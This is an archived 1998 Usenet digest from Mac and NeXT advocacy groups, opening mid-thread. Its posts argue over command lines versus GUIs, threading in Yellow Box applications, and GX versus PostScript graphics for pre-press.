> But they need to do more than this to make having a thread per window easy
to
> develop.
No they don't, this is exactly what they need to do - and this presupposes
that thread-per-window is a wanted goal, something I'm not convinced of at
all.
Maury
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0909981615420001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <35F66E55.58EB106@nstar.net>
Organization: Solid Object Software
Date: Wed, 09 Sep 1998 20:06:51 GMT
NNTP-Posting-Date: Wed, 09 Sep 1998 13:06:51 PDT
In article <35F66E55.58EB106@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> John Heaney wrote:
>
> > I have to say that's mighty impressive. Truthfully, is this something
> > you've already done about a zillion times? For my own edification, I tried
> > just typing in the commands as you wrote them. It took me 38 seconds and I
> > made one typo. Of course, I was picking the commands out of the other text
> > and it's unusual text for me to type. So, I tried it again and got 32
> > seconds. I'm not the fastest typist in the world, but I am a touch typist.
> > You must really blaze on the keyboard. Are you so versed in vi that you
> > didn't even have to think about how to do those substitutions?
>
> It's not really about what kind of typist you are or whether you're a
> developer. Developers tend to use the CLI because if you spend any time
> developing you're going to want to learn, one way or another, how to use
> the fastest and most effective tools possible. Most users never feel the
> need to learn effective usage patterns and many don't learn to type
> quickly. When you're thinking about your code, it doesn't take many GUI
> inefficiencies to get *really* fed up and just *take* the time to read
> the sed manpage, for instance.
>
> I'll bet you have learned to "think" in terms of a GUI. I know I did.
> But if you work with a CLI you learn to "think" in terms of the tools
> available there, and believe me, those tools are far more effective and
> far more robust for a very significant number of tasks. If you spent a
> short time learning to use these tools you would also learn to "think"
> in this way and you could do the above in 15 seconds, easily.
Developers are users, too. All users tend to use the best tools that are
available to them, limited by their fear of trying something new. There's
a reason why most developers use WYSIWYG editors to layout their GUIs.
It's more efficient. I think there's also a reason why more developers are
using IDEs. It's because they are creating applications that have GUIs and
have come to appreciate the power of the GUI.
One of the main benefits of the GUI is that you see what you're working
on. In that little excerise, for example, everything was done blind. If he
had typed .gig instead of .gif then nothing would have happened. And
that's what I saw more than anything with myself and others working in
unix. Someone would try to use some substitution to take a shortcut and
more often than not they would get something slightly wrong and have to do
it again. Worse, they would actually do the wrong thing, making it even
more work to correct. Sure, the CLI is great when you type everything in
with utmost precision. But it's that precision that is the bane of the
CLI. Computers are all too willing to do whatever you tell them, even if
you tell them the wrong thing.
These kinds of problems are mitigated in, say, the Finder. If I want to
find all of a particular kind of file in a folder, I just click on the
Kind heading and lasso them. There's nothing invisible and no ambiguity. I
know I've got them.
> > BTW, I had some jpegs sitting around so I used Debabelizer to batch
> > convert them into gifs. It took a couple of minutes. I thought that wasn't
> > bad considering I hadn't touched Debabelizer in a year or more.
>
> There are a couple problems with this, one of which you've already
> pointed out:
>
> 1) It's slow
Slow in what sense, the processing or the setting it up? I think I was
able to do it rather quickly, once I knew what I was doing. Obviously,
Jason already knew how to use the convert command. He didn't have to read
any man pages to figure out how to do what he wanted. And if there were
any differences in the processing time, I'm sure it had nothing to do with
the fact that I was using a GUI.
> 2) Debabelizer is a commercial product
So what? What does that have to do with the CLI vs. GUI debate? I'm sure I
could find a freeware or shareware solution to do what was necessary.
There's probably a tool out there somewhere that would allow me to just
drag the files on the application and do the conversion in one step
without having to open the application directly.
> Suppose you wanted to feed the output from your work to another task
> automatically. Another 3 seconds from the command line. From a GUI,
> several more minutes. Doing this sort of thing all day yields a dramatic
> decrease in productivity with the GUI. A good example of someone who
> might do these sorts of things all day (image conversion, file
> management, file network transfers, HTML file editing) is a Web site
> maintainter.
I understand that CLIs lend themselves to batch processing, but those
tasks that require batch processing on the Mac, for example, tend to have
batch processing built into the applications that perform them. And I
would prefer that any day of the week. I would also assert that anybody
capable of doing what Jason did should not be wasting their time in a job
doing image conversions. They should be writing scripts to make the job of
the image convertors easier. He should write a script called gif2jpeg that
converts all the gifs in a directory to jpegs because no non-programmer is
going to rattle off that little script in 15 seconds. Once you get to that
level, though, the GUI is superior again because you could write an
AppleScript to do the same thing using drag and drop.
Skip this paragraph if you don't like anecdotes. When I first started
using the Internet from my Mac, I had to get up to speed on all the tools
I needed; you know, for conversions and stuff. I found myself using two or
three tools to unpack stuff I downloaded from various ftp sites. After a
while, it was starting to be a drag. I thought about writing some kind of
a tool that would graphically do the same kind of piping function that is
built into unix. Well, before I could really get excited about it enough
to do something, StuffitExpander was released and it did everything I
needed; drag and drop batch processing, as many decoding passes as
necessary to get the job done automatically. Well, I figured, a piping
mechanism would still be cool, but I found I wasn't really needing it for
anything. The only repititive things I needed had more to do with tasks
that could easily be handled by Quickeys. Image conversion could better be
handled by Debabelizer. I couldn't find anything to use it for. Then a
company came out with a product called FilterTop, which was just what I
was thinking of. I downloaded it, but I never used it because I never
needed it. As far as I know, not many other people have needed it either.
Let's look at an example that falls outside the scope of programmers doing
programming. SQL is a text based language for interacting with relational
databases. You can type in any arbitrary query and the DBMS will take care
of the rest. The only caveat is that you have to type in all those field
names and table names, assuming you already sufficiently understand the
SQL language. And, of course, the names are usually geeky shortcut names
like fname for first name, or was that f_name. Who does that anymore,
besides unix programmers? Now, you have a GUI with the tables and field
names list for you and you build a query by clicking on them and the
operators. You don't have to remember the spelling of the field name and
you don't have to type more than what you yourself are looking for.
> > It also
> > interrupted me with a dialog that prompted me for a color palette and a
> > dithering option, since I had overlooked the fact that converting to gifs
> > would reduce the colors. I rather think this example shows the strengths
> > of both.
>
> It's quite standard to inline this task as a part of the CLI operation.
> Convert takes switches to handle dithering and a great many other tasks.
> Without the switches, the default is performed without interrupting the
> user in any way. This is part of the UNIX philosophy.
And if you did have to use these switches, are you expected to memorize
them? What would happen if did what I did in the unix environment? Would I
be expected to already know the correct switches? If I got it wrong, would
it tell me? Would I have to go to the man pages? Would I know if
accidently created incorrect image files?
> > Although, I did do the same task again, knowing what I was doing
> > this time, and it only took me 40 seconds. Oh well, I'm sure you don't
> > have to worry about losing your access to a CLI. However, as someone said,
> > it should be hidden from the typical user.
>
> This is a tragedy, whether or not you're right. Almost anyone can learn
> to use the CLI and be more effective. It's not simply a matter of
> preference, like it or not.
I disagree entirely. When was the last time you saw a non-programmer use
vi? Are you kidding? Even most programmers don't use vi anymore. Normal
people do not want to interact with their computer; they want to interact
with their information and do their job. That's the way it should be.
> I have always believed that it's possible to develop a *really*
> effective GUI that could perform tasks as quickly as a CLI.
> Unfortunately, that has never been done. For a very significant class of
> actions, the modern GUI is an extremely ineffective interface. This is
> why most Unix-based GUIs have one or more command-line shell windows
> within the GUI.
The main problem is that software development is lagging hardware
development by leaps and bounds. Programmers have been following one path
in writing tools for themselves while providing another path for their
users. That is, most of the innovation in programming has been in refining
text based programming methodologies, improving compile times and shorting
the edit/compile/test cycle. Meanwhile, the actual programs being written
are GUI based applications for the users that are designed to make their
jobs easiers and computers friendlier. Well, the barriers to programming
are slowly coming down. IDEs have made programming much easier, broadening
the entry into the field. WYSIWYG GUI builders having been making it even
easier. HyperCard and Director have created a whole new path into
programming. But Prograph is the first commercial programming environment
to go (almost) fully visual. It is not the epitome of what should be, but
it is a step down the path of what could be. Prograph, in particular, I
think is ahead of its time. It can't compete with the entrenched text
based environments. Most programmers aren't going to go that far out on a
limb yet. Even so, the evolution is toward more simple languages:
assembler to C to C++ (simpler if you ignore the C legacy) to Java (and
Objective C?). Java has JavaBeans and Objective C has IB. The trend is
more and more graphically oriented development. Eventually, a language as
immersed in visualization as Prograph is will catch hold and only the most
hardcore programmers will be using text based languages.
The only thing that could redeem the CLI is if the AI people succeed. I
think people would accept:
convert all the jpigs into gifs, you stupid computer.
[Do you mean all 20 jpegs in the directory "foodung"? I assume you meant
the 20 jpegs, not jpigs. Also, I'm not that stupid anymore.]
Yeah, those. And you're still stupid.
[Completed. Am not.]
Send them to Alice. Are to.
[Send just the gifs?]
Of course. I told you you were stupid.
[Done. Alice wasn't logged in, so I left her an email. Wasn't that smart?
Shall I delete your copies of the gifs?]
Nah. leave 'em.
Now, this may not be as efficient as typing a bunch of 2 letter mnemonics,
but notice that the user never had to translate the commands into computer
talk. Also, there was feedback about what was going on; it wasn't one way
communication.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 13:10:15 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C2ED8-AA975@206.165.43.114>
References: <Ez1626.Lus@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B21C15BD-4C36E@206.165.43.114> "Lawson English" wrote:
>
>[snip]
>> How many lines of code to do this using a PS-based solution?
>
> Hmmm. Well with the new catagory I added to NSString this morning,
>about
>five. First I'd ask NSString
[Snipt]
> Well DUH, that's what NSTextContainer is for! Next you'll be telling me
>that YB is no good because the NSNumber class doesn't sort strings.
>
>> Now, let's pretend that Mike Paquette's ultra-high-end 4x3 transform is
>now
>> present and a 4x3 (or even 3x3) transform has been applied to some text
>and
>> graphics. Are you claiming that PS manipulation is going to be able to
>> handle the needs of such pre-press?
>
> No, I'll let Adobe's release of PostScript Extreme make that claim for
me.
>It's for precisely this use that they invented it.
>
PostScript Extreme handles 3x3/4x4 transform matrices? Kool?
>> What about the more common case of transparent text-on-graphics?
>
> I knew you'd put that in somewhere.
>
>> How does your PS manipulation directly handle
>> shapes that are transparent?
>
> Why would it?
>
Because you said that your HyperCard based PS solution handled everything
just adequately without a need to go to a shape-based pre-press option?
What if the pre-press person wanted to manipulate the transparency-level of
the company's name as an overlay, rather than as a watermark?
>> We need a GX-like pre-press solution.
>
> Considering the pre-press industry ignored it, and that you have nothing
to
>do with professional graphics or pre-press of any sort whatsoever, we
>don't.
>
Um, you mean that you're not convinced, simply because *I* say so, right?
Go back and read the Seybold review of GX's potential. Fact is, the
pre-press industry LIKES many of the capabilities of GX (which is why at
least some of them have made it into things like Adobe's K2 app).
>> You've already convinced me that it
>> is possible and then you turn around and insist that it isn't needed?
>
> You've already convinced me you don't have any clue about what you're
>talking about.
>
>> One of us is missing something, I think.
>
> As always.
>
> BTW, I'm still waiting for your definition of the difference between
>transparent and non-opaque.
And I gave it. I'm sorry that you missed it. I'll extend the definition a
little so that you can critique [attack/disparage] it to your heart's
content:
NeXT's DPS (and Yellow Box graphics) define an alpha channel for various
color spaces. GX also defines an alpha channel, but only for RGB space.
However, GX also defines per-color channel manipulations for all color
spaces that take into account the color-value of the pixel that the object
is being drawn over. The manipulations work with all GX shapes, including
text, vectors and bitmaps. You can also extend the manipulations by
applying 3 5x4 color space transform matrices, one each for the source,
destination and result images, before applying the transfer/composite
modes.
Regardless, any transfer mode that takes into account the underlying color
is a "non-opaque" transfer mode. "Transparent" transfer modes are a subset
of those that allow the underlying color to show through to some extent.
There are other modes that don't do this in the same way that alpha-channel
compositing does, such as XOR, and other logical and arithmetic-based
combinations of the two pixel values.
I believe that Yellow Box graphics handles much/most/all of the above, but
not the 3 color space manipulations that can be done in a single pass on a
bitmap with GX, which makes for some nice effects which have found their
way into QuickTime in case anyone was interested.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0909981627150001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <heaney-0809982244000001@24.0.246.137> <6t68ia$b2c$1@nnrp03.primenet.com>
Organization: Solid Object Software
Date: Wed, 09 Sep 1998 20:18:24 GMT
NNTP-Posting-Date: Wed, 09 Sep 1998 13:18:24 PDT
In article <6t68ia$b2c$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Heaney <heaney@SolidObject.com> wrote:
> : You must really blaze on the keyboard. Are you so versed in vi that you
> : didn't even have to think about how to do those substitutions?
>
> It's what I do all day.
If you only used the computer an hour a day, do you think it would be
worthwhile to invest the energy to learn how to use a CLI?
> : BTW, I had some jpegs sitting around so I used Debabelizer to batch
> : convert them into gifs. It took a couple of minutes.
>
> I would certainly hope that a specialized application would beat the
> shell. The point is that the shell is not speicalized for image
> conversion. Tomorrow the same technique could be used to convert a series
> of man pages to html, or to unload and filter a database. In a GUI-only
> environment, a user would have to go down to the store and buy a new app
> for man page or database conversion.
But you're basing this on today's GUIs. If there were a scripting language
like Prograph built-in to the operating system, the way the shell is in
unix, then you would be able to do the kinds of transformations you're
talking about. The GUI is not mature. I think it might be just past the
terrible twos.
> : Oh well, I'm sure you don't have to worry about losing your access to a
> : CLI. However, as someone said, it should be hidden from the typical
> : user.
>
> I wouldn't have a problem with a hidden CLI. The problem is that many in
> these groups have argued that a CLI should not be part of the standard
> MacOS X distribution, and should be a third-party option.
I only forsee programmers using it, so I don't see why it should be part
of the standard user configuration. If it's going to be a distraction for
Apple then it definitely shouldn't. I could see Apple getting a lot of
tech support calls from people who got in over their heads.
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 9 Sep 1998 20:19:56 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6t6ntc$boq$1@news.mxol.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <6sp5su$pgv$1@news.spacelab.net> <6spibk$o2m$1@nnrp1.dejanews.com> <6t3s3c$3os$1@news.mxol.com> <6t4hob$44s$1@nnrp1.dejanews.com> <EyzrrH.uF@T-FCN.Net> <6t5dmd$de0$1@nnrp1.dejanews.com> <Ez0w7u.FIE@T-FCN.Net> <6t6id3$ufe$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
>In article <Ez0w7u.FIE@T-FCN.Net>,
> maury@remove_this.istar.ca (Maury Markowitz) wrote:
>> Because of the context switching on the mutexes. To be truely thread safe
>> you need various sync systems which require context switches to use. This is
>> expensive and time consuming - this is what Chuck was talking about - if you
>> add in true thread safety, you end up with slower code almost 100% of the
>> time. In some cases this is needed anyway, in other cases it's JUST BAD.
>
> Why do you think that there will be a lot of blocking due to mutex?
Not blocking per se; simply having to check mutexes has a cost.
> In a typical multiple document application, each window is separate from the
> others. What resources would need protected by mutex?
Application-wide variables like the list of open documents (or windows)?
The Obj-C runtime, if implemented in YB and that language?
>> Like I said, the interesting thing is that Be is still snappy. If their
>> GUI was being placed on top of Solaris (for instance) it would likely crawl.
>
>I think that Solaris has some fairly well known performance problems.
X11 under Solaris is bloated and slow. Not really a surprise. Solaris is pretty
snappy for other areas, like fileservice, virtual memory, and so forth.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Apple heading to obscurity?
Date: Wed, 9 Sep 1998 12:34:04 -0700
Organization: http://extra.newsguy.com
Message-ID: <slrn6vdm1c.7j1.jedi@dementia.mishnet>
References: <joe.ragosta-1807980702180001@elk58.dol.net> <6p3i97$507$1@news02.btx.dtag.de> <D32EE32CE02A98BD.E34D9DD7A9271C95.80294BDE739E8CE6@library-proxy.airnews.net> <6s5408$kc5$1@reader1.reader.news.ozemail.net> <6s6hd0$30u@news1.panix.com> <SCOTT.98Aug28130819@slave.doubleu.com> <EyK67n.7DI@T-FCN.Net> <D31B50461F33C90C.B0C9BB4EF6A49007.725D4B0B54C08000@library-proxy.airnews.net> <EyMHA5.9At@T-FCN.Net> <35EC8621.A28FBDDA@ericsson.com> <6sibgk$ssh@news1.panix.com> <89DA80382AE9C9D2.B50B13F0EB2D178E.DA44ABF2DF68B50A@library-proxy.airnews.net> <6t1514$mfe@news1.panix.com> <35F6CF88.A0FD3D5D@ericsson.com>
On Wed, 09 Sep 1998 13:57:12 -0500, Michael Peck <Michael.Peck@ericsson.com> wrote:
>Sal Denaro wrote:
>
>> Apple needs an "Apple vision" not a "Linux vision" (Even if that
>> "Apple vision" in some way includes Linux) Apple, as a publicly held
>> company, is accountible to its shareholders. Not to Linus or RMS or
>> anyone else.
>>
>> Apple is in business to sell Apple products, not "Apple religion" or
>> "Free software religion" or anything else.
>
>Does anyone have a clue what these platitudes mean? Sorry to be blunt,
>but they all sound like a lot of talk without saying anything at all.
>There's a lot of text up there in quotes that implies some kind of
>missing definition. The fact that no definitions or explanations are
>involved makes this kind of posting pretty digusting to read.
>
>Here's a better idea: go to WWW.NEWS.COM and read the article entitled:
>"Sun Plans To Work With NT". Here's a URL link for you:
>
>http://www.news.com/News/Item/0,4,26154,00.html?st.ne.ni.lh
>
>Some choice details:
>
>"Sun Microsystems is ready to play nice with Microsoft, as long as its
>on Sun's home field."
>
>[...]
>
>"And Sun is doing this without giving away any of the marketplace to its
>rival Microsoft. All of Sun's new products are designed to simply
>stretch Sun's existing server systems to handle Microsoft compatible
>products."
Solaris has been able to do this 3rd party add ons
for at least 4 years actually. This is nothing really
new, just some extra marketing on the part of Sun.
>
>
>No shit! you say? You can really be competitive *and* cooperative at the
>same time? You can offer customers compatibility and value *and* boost
>your own company's value?
>
>Yes, you can. Believe it, or not, it actually happens all the time. The
>pet theories just coming to light in newsgroups like this one regarding
>the New Need for Regulatory Powers and Preserving Proprietary Markets
>are pure foolishness, rehashed cooked carrets nonsense from every
>generation that cares to resurrect them and package them in the moral
>indignation of the times.
>
>Apple needs to engage Unix, it needs to engage Linux, it needs to engage
>Windows NT. Apple needs to start reading its mail and emptying the
>suggestion boxes. Apple needs to notice that *MACWEEK* -- for God's
>sake! -- now encompasses Windows NT and Unix.
>
>MJP
--
Hardly. Microsoft has brought the microcomputer OS to
the point where it is more bloated than even OSes from |||
what was previously larger classes of machines altogether. / | \
This is perhaps Bill's single greatest accomplishment.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 13:25:17 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C325B-B7CB9@206.165.43.114>
References: <Ez16AM.M0p@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>> I've always found TIFF to be easier to manipulate programmatically than
a
>> text-based description of an image. YMMV, I guess.
>
> You misspelled "I've never written any code to directly manipulate TIFF
>files and have no idea how hard it is to do". More Lawgic.
Actually, my last job involved creating a 24-bit TIFF reader to read the
output from a microscope workstation and time the manipulation of the image
using simple filters written in PPC assembler vs those written in C.
More accurately, I've never written an image reader that handles text-based
images, but based on the text-processing that I *have* done (how do you
think that I convert text-based representations of C structs and arbitrary
arrays of numbers written in HyperTalk into something that C-based GX can
understand inside GXFCN?), I find it easier to test for out-of-range values
in a well-defined binary file, rather than to first translate the values
into machine-oriented format and then test. Spell-checking becomes an
issue, even if it is only testing for the proper placement of a comma or
decimal point or sign. I suppose that if the proper tools are already in
place, that isn't an issue, but I have to roll-my-own for many of the tools
when dealing with an XFCN on MacOS.
Stephen Peters sent me a convincing e-mail that explained how text-based
output would be easier to debug, but I've never dealt with the issues of
outputing text-based image files, so I was only going with my [admittedly
limited] experience for reading them in.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <OS-0909982028530001@phx-ts2-5.doitnow.com>
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Date: 10 Sep 1998 03:25:03 GMT
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From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 13:33:05 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C3414-BE44E@206.165.43.114>
References: <Ez16Dt.M3s@T-FCN.Net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>In <B21C0C15-27E7B@206.165.43.114> "Lawson English" wrote:
>> > It's a subclass.
>>
>> Not mathematically.
>
> Is that supposed to be a point? It isn't. It only goes to point out
your
>utter lack of knowledge of YB AGAIN.
>
>> Beziers are a subclass of NURBS.
>
> And Unicode is a subclass of charset. This is not a point. You have no
>point.
It would really depend on which makes more sense, sub-class NURBS to deal
with beziers or sub-class beziers to deal with NURBS. Depends on the
desired behavior of the NURBS class vs the existing behavior of the
existing bezier class as to which would be more sensible. If its a wash,
then you're right, subclass NURBS off of bezier. Otherwise, it might make
more sense to go the other way around.
>
>> Would you sub-class
>> Mike Paquette's 4x3 transform off of the NSAffineTransform class?
>
> I don't know, ask him.
I was trying to make a point. But apparently I don't have one, so...
I'll leave you with a question:
is an ostrich a subclass of bird? Why or why not?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: 9 Sep 1998 20:33:46 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6t6ona$boq$4@news.mxol.com>
References: <6rkkda$9tt$1@nnrp1.dejanews.com> <B2032EEB-9EF58@206.165.43.27> <6rm0p9$tai$1@nnrp1.dejanews.com> <35E77CF2.BC4997CD@mindspring.com> <6s9rcf$ddo$1@nnrp1.dejanews.com> <EyKFps.25B@T-FCN.Net> <6shijn$684$1@nnrp1.dejanews.com> <Eynvox.Hx5@T-FCN.Net> <6sk34c$5si$1@nnrp1.dejanews.com> <Eyo7nz.3wt@T-FCN.Net> <6sl6h2$8qa$1@nnrp1.dejanews.com> <EyppwC.485@T-FCN.Net> <6smpdo$4v3$1@nnrp1.dejanews.com> <6smt8o$n2s$1@news.spacelab.net> <6sn7u7$nq3$1@nnrp1.dejanews.com> <SCOTT.98Sep6224159@slave.doubleu.com> <6t21ge$ktq$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
>In article <SCOTT.98Sep6224159@slave.doubleu.com>,
> scott@nospam.doubleu.com (Scott Hess) wrote:
>> Having a thread per window forces extra overhead (for threading and
>> for synchronization). Thread synchronization adds extra potential for
>> bugs to creep in. These are doubly onerous for those apps that can't
>> make use of the advantages of multiple threads, because now they pay a
>> performance penalty and a robustness penalty for no gain at all.
>
>I don't think that the performance penalty would be significant. How many
>windows do you want to open? Probably less than a hundred.
The performance penalty for enabling multithreading does not scale directly to the
number of threads. For the sake of comparision, an Obj-C method call (or a C++
virtual function, for that matter) takes about twice the overhead of a normal
function call.
Enabling multithreading roughly doubles this overhead again for just the locking
over the critical section of the method dispatch (ie, a lock over the Obj-C runtime
structures). Add whatever locking the various frameworks like the Appkit need, and
then add the explicit mutex locking (NSLock et al) for your own code, too.
> And bugs are usually a consequence of more advanced applications.
Bugs are. Debugging multithreaded code is a far more difficult proposition than
debugging single-threaded applications. The errors tend to be sporadic, not
reproducable, not consistent, and tough to resolve.
> GUI programs are harder to write than CLI programs but most people deam
> the increased development cost to be worthwhile.
Hmm. Is a Photoshop or a web browser harder to write than a GNU C compiler, or a
Mach kernel?
> And what is the robustness penalty that you refer to?
It's generally very hard to write bulletproof multithreaded code.
[ ... ]
> But I don't see a general solution to this problem. In some cases, there may
> be no reasonable solution. Take your printing example, what is the general
> solution for allowing the content of a document to change while it is being
> printed? Duplicate the entire document?
That'd probably work adequately well, actually-- assuming the cost of duplication
was significantly smaller than the cost to prepare the document to go to the
printer....
> If you can figure out a cheap way of threading each operation then I will
> support it but, until you do, we may as well use easier, cheaper and still
> useful per-window threading.
Threading doesn't come for free. Threading does not improve performance over a
properly done non-threaded designs. Of course, it's much easier to design a PMT
threaded app than a cooperative one. But then, selecting the right tradeoffs is
what a developer should be doing....
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Content-Type: text/plain; charset=us-ascii
Message-ID: <Ez1CD1.2ro@T-FCN.Net>
Sender: news@T-FCN.Net
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Cc: english@primenet.com
Organization: none
References: <Ez1626.Lus@T-FCN.Net> <B21C2ED8-AA975@206.165.43.114>
Mime-Version: 1.0
Date: Wed, 9 Sep 1998 21:15:00 GMT
In <B21C2ED8-AA975@206.165.43.114> "Lawson English" wrote:
> Because you said that your HyperCard based PS solution handled everything
> just adequately without a need to go to a shape-based pre-press option?
No I didn't. I said it was doing pre-press processing on PS files, I made
no claim whatsoever that it could do "everything". Clearly I don't even
support this in concept, I want an interapplication graphics format too, I
just want it to be XML based.
> What if the pre-press person wanted to manipulate the transparency-level of
> the company's name as an overlay, rather than as a watermark?
Dunno, haven't tried it.
> Um, you mean that you're not convinced, simply because *I* say so, right?
Ok.
> Go back and read the Seybold review of GX's potential.
Why? What could that possibly have to say about whether or not another
system can or cannot do similar things?
> NeXT's DPS (and Yellow Box graphics) define an alpha channel for various
> color spaces. GX also defines an alpha channel, but only for RGB space.
> However, GX also defines per-color channel manipulations for all color
> spaces that take into account the color-value of the pixel that the object
> is being drawn over. The manipulations work with all GX shapes, including
> text, vectors and bitmaps. You can also extend the manipulations by
> applying 3 5x4 color space transform matrices, one each for the source,
> destination and result images, before applying the transfer/composite
> modes.
Ok, whatever.
> Regardless, any transfer mode that takes into account the underlying color
> is a "non-opaque" transfer mode. "Transparent" transfer modes are a subset
> of those that allow the underlying color to show through to some extent.
> There are other modes that don't do this in the same way that alpha-channel
> compositing does, such as XOR, and other logical and arithmetic-based
> combinations of the two pixel values.
NSCompositing is undefined for the eQD model. It is too early to be
discussing this point.
Maury
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 9 Sep 98 14:23:53 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21C3FFD-EB0D2@206.165.43.114>
References: <B21C2ED8-AA975@206.165.43.114>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury, I just looked at the PS Extreme press release. It said that PSE is
based on the PDF imaging model. I couldn't find ANYTHING that said that PS
Extreme would handle things like 3D transforms or transparency options or
anything else that a shape-based pre-press solution [like GX] handles that
PS/PDF doesn't.
Could you give me a URL or other reference that describes this part of
PSE's capabilities?
Lawson English <english@primenet.com> said:
Maury Markowitz <maury@remove_this.istar.ca> said:
Lawson English <english@primenet.com> said:
>>> Now, let's pretend that Mike Paquette's ultra-high-end 4x3 transform is
>>now
>>> present and a 4x3 (or even 3x3) transform has been applied to some text
>>and
